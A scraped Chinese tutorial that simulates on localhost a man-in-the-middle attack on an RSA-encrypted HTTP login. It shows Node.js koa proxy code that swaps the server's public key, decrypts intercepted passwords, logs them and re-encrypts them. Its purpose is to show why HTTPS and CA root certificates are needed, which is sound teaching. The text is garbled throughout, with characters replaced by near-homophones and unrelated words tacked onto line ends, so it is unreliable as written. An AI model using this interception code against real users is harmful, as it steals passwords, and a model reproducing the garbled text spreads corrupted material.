前置阅读:git
在「2」注册和登陆示例中,咱们经过非对称加密算法实现了浏览器和 Web 服务器之间的安全传输。看起来一切都很美好,可是危险就在哪里,有些人发现了,有些人嗅到了,更多人却浑然不知。就像是给门上了把好锁,还派了我的盯着,却没发现坏人已经从窗户潜进去了。算法
废话少说,先公布答案:不安全!npm
若是想要安全,目前最优解仍然是使用 HTTPS!json
不过为何不安全呢?请思考一个问题:数据加密是基于服务器送过来的公钥,可是这个公钥确实是服务器发出来的那一个吗?segmentfault
基于 HTTP 的传输是明文的,并且浏览器和服务器之间要通过若干网络节点(路由等),谁知道公钥在传输的过程当中没有被掉包!后端
若是公钥被掉包了,服务器知道吗,它还能用原来的私钥把数据解出来吗?api
带着这些个疑问,来看一张图:数组
在浏览器和服务器的传输过程当中,黑客能够劫持服务器发放的公钥,并用本身产生的假公钥替换之,狸猫换太子。然后加密数据的传输过程当中,黑客能够用本身的私钥解密(由于是用他发的假公钥加的密),并用正确的公钥加密送给服务器。这样就在浏览器和服务器都感知不到的状况下,把数据给偷走了。这种行为,称为中间人劫持攻击,上图的黑客就是那个中间人。浏览器
真实的中间人劫持过程也不是很简单的事情,不过咱们想研究这个过程的话,能够模拟。安全
若是有两台计算机,能够用一台部署服务,另外一台部署模拟的中间人。而后假设 DNS 被劫持(能够在路由器或客户机上配置 HOSTS),原本应该发送到服务器的请求,发送到中间人那里去了。而中间人就像代理服务器同样,在浏览器和服务器之间传递信息。
在一台计算机的状况下,能够将正确的服务启动在 80 端口,而将模拟的中间人服务启动在 3000 端口,而后访问 http://localhost:3000
来伪装被劫持。
咱们用 Node.js 来模拟中间人,使用 koa-better-http-proxy
搭建反向代理,同时劫持 GET /api/public-key
(获取公钥)、POST /api/user
(注册) 和 POST /api/user/login
(登陆)三个 API。劫持「获取公钥」和「注册」两个接口就能够拿到用户的密码,可是在劫持「获取公钥」并替换掉公钥以后,必需要对全部加密数据进行「解密-从新加密」的处理,否则服务器不能获取正确的加密数据(浏览器使用中间人的证书加密的数据,服务端没有配对的私钥,解不出来)。
搭建一个叫 intermediator-demo
的 Node.js 项目,主要的模块有:
koa
,Web 框架koa-better-http-proxy
,Koa 的反向代理中间件qs
,主要用来处理 POST 请求的 payload主要项目结构:
INTERMEDIATOR-DEMO ├── server // 服务端业务逻辑 │ ├── interceptor.js // 劫持处理管理工具函数(注册/执行等) │ ├── hack.js // 劫持处理请求/响应的逻辑 │ ├── rsa.js // 加解密相关工具,基本上是从服务端拷贝过来的 │ └── index.js // 服务端应用入口 ├── .editorconfig ├── .eslintrc.js ├── .gitignore └── package.json
使用 koa-better-http-proxy
搭建反向代理比较简单,只须要在 Koa 实例中使用代理中间件便可,大体逻辑以下:
import Koa from "koa"; import proxy from "koa-better-http-proxy"; const app = new Koa(); app.use( proxy( "localhost", { proxyReqBodyDecorator: ..., // 省略号占位示意 userResDecorator: ..., // 省略号占位示意 } ) ); app.listen(3000, () => { console.log("intermediator at: http://localhost:3000/"); });
这里 proxyReqBodyDecorator
和 userResDecorator
中分别用来劫持请求和响应,怎么使用在文档中都说得很清楚。
GET /api/public-key
劫持公钥的过程是将服务器返回的公钥保存起来,而后返回本身发的假公钥:
userResDecorator: (res, resDataBuffer, ctx) => { const { req } = res; const { method, path } = req; if (method === "GET" && path === "/api/public-key") { // resDataBuffer 是 Buffer 类型,须要先转成字符串 const text = resDataBuffer.toString("utf8"); const { key } = JSON.parse(text); // 保存服务器发过来的「真·公钥」 saveRealPublicKey(key); // 响应本身发的「假·公钥」 return JSON.stringify({ key: await getPublicKey() }); } else { // 其余状况不劫持,直接返回原响应内容 return resDataBuffer; } }
先根据 method
和 path
肯定要劫持的请求,而后从服务器响应中拿到真实的公钥用 saveRealPublicKey()
保存到 .data/REAL-KEY
文件中。这里的 saveRealPublicKey()
能够参照上一节中 rsa.js
中保存公钥的部分:
const filePathes = { ...... real: path.join(".data", "REAL-KEY"), } export async function saveRealPublicKey(key) { return fsPromise.writeFile(filePathes.real, key); }
后面用到的 getPublicKey()
就是上一节写的那个,由于中间人也会像服务器同样产生密钥对。
写完对 GET /api/public-key
的劫持以后,能够发现,每次劫持都须要根据 method
和 path
(或前缀、匹配模式等)来对劫持处理,进行逻辑分支。既然如此,不妨写一个简单的劫持管理工具,配置管理 method
、path
和 handler
(劫持处理)之间的关系,并自动匹配调用处理函数。
这样一来,只须要按劫持阶段(请求/响应)分红两个配置:requestInterceptors
和 responseInterceptors
,这是两个数组,其中的元素结构是:
{ "method": "字符串,匹配 HTTP 方法,使用 === 精确比较", "test": "匹配函数,根据请求地址判断是否匹配得上", "handler": "处理函数,对匹配上的进行调用进行劫持逻辑处理", }
注册逻辑是:
function register(method, test, fn) { // 这里是 requestInterceptors 或 responseInterceptors xxxInterceptors.push({ method, // 若是 test 是提供的字符串,就处理成精确相等的判断函数 test: typeof path === "function" ? test : path => path === test, handler: fn, }); }
调用的逻辑是(请求和响应类似,只是取 method
和 path
的细节略有不一样):
// 以响应的逻辑为例 function invoke(res, dataBuffer, ctx) { const { req } = res; const { method, path } = req; const interceptor = responseInterceptors .find(opt => opt.method === method && opt.test(path)); // 没有注册劫持逻辑,直接返回原响应内容 if (!interceptor) { return dataBuffer; } // 找到注册逻辑,调用其处理函数 return interceptor.handler(res, dataBuffer, ctx); }
因为在处理响应的时候,通常都须要把 Buffer
类型的 dataBuffer
转换成字符串类型,因此能够在调用以前作一些预处理。本文讲逻辑,不详述这些改进细节,须要了解细节请阅读文末提供的示例源代码。
劫持注册和登陆都须要在请求阶段进行,将请求中加密的密码,用本身的「假·私钥」解出来,再用保存的「真·公钥」加密送给服务器。因为在此次的示例中,注册和登陆的 payload 彻底相同,都是 { username, password }
,因此能够用同一个劫持处理逻辑:
(bodyBuffer, ctx) => { // bodyBuffer 转换成字符串是 QueryString 格式的 payload 数据 const body = qs.parse(bodyBuffer.toString("utf8")); // 使用「假·私钥」解密,这跟上一节解密同样 const originalPassword = await decrypt(body.password); // 获取加密数据原文,进行保存等业务处理(这里用输出到控制台代替) console.log("[拦截到密码]", `${originalPassword} (${body.username})`); // 使用「真·公钥」加密,encrypt 稍后说明 body.password = await encrypt(originalPassword); // 不能直接返回对象,能够是字符串或 Buffer return qs.stringify(body); }
其中 decrypt()
就是上一节服务端的那个。不过上一节服务端没有 encrypt()
,因此须要用 crypto
模块写一个 encrypt()
方法。中间人只须要用「真·公钥」加密,因此获取密钥逻辑能够直接封装成 encrypt()
中。
export async function encrypt(data) { // 获取「真·公钥」 const key = await getRealPublicKey(); return crypto.publicEncrypt( { key, // 别忘了指定 PKCS#1 Padding padding: crypto.constants.RSA_PKCS1_PADDING, }, Buffer.from(data, "utf-8"), ).toString("base64"); }
写代码总会有 BUG,调试的过程当中确定还要作一些修整。最终,中间人在 http://localhost:3000/
提供了服务。由于中间人实际是一个代理服务,因此原来在 http://localhost/
跑的真实服务也须要启动起来。
如今伪装已经被黑客劫持,因此咱们直接访问 http://localhost:3000/
,能够看到界面,也能够像原来同样的操做,就跟没有中间人同样,毫无异样的感受。
不过在中间人的控制台中,咱们能够看到被劫持到的密码原文
经过上面的实验,咱们已经能够证实:公钥可能被劫持,非对称加密也有漏洞 !
因为中间人劫持,咱们必须想办法用安全的手段去拿到正确的公钥。
有一个很直接很暴力的办法:亲自去服务提供方拿公钥 —— 这个办法确实有效,但不实用。
另外一个办法,咱们不去服务器上拿公钥,而是去一个值得信任的地方拿公钥。
那么,哪里是可信的?
CA(证书签发机构)是可信的。可是要去 CA 拿证书,仍然须要经过网络,仍然可能被劫持。CA 会怎么办?
CA 会对发出来的证书进行签名,客户方拿到数据以后,可使用 CA 的公钥来验证签名是否正确。这样能够保证拿到的数据不被篡改。可是通过逻辑推导,会发现:获取 CA 公钥的时候仍然存在被劫持的可能 …… 兜兜转转,难道无解?
若是一切依赖于网络传输,真的无解。不过 CA 的公钥并非经过网络去获取的,而是操做系统/浏览器内置的,这就相似前面所说的第一种办法,直接由操做系统/浏览器供应商(Microsoft、Apple、Mozilla 等)拿到,内置在系统中。这些证书由 CA 和供应商提供信誉保障。由于它们是证书信任链的起点,因此称为根证书。
好了,逻辑通了,可是研究的结果很明显:安全的传输过程离不开 CA 参与,而有 CA 参与了,何苦还要本身去写加密/解密,直接用 HTTPS 不香么?
这么说来,咱们这三篇文章的研究不是白干了?也没有,至少有两个收获: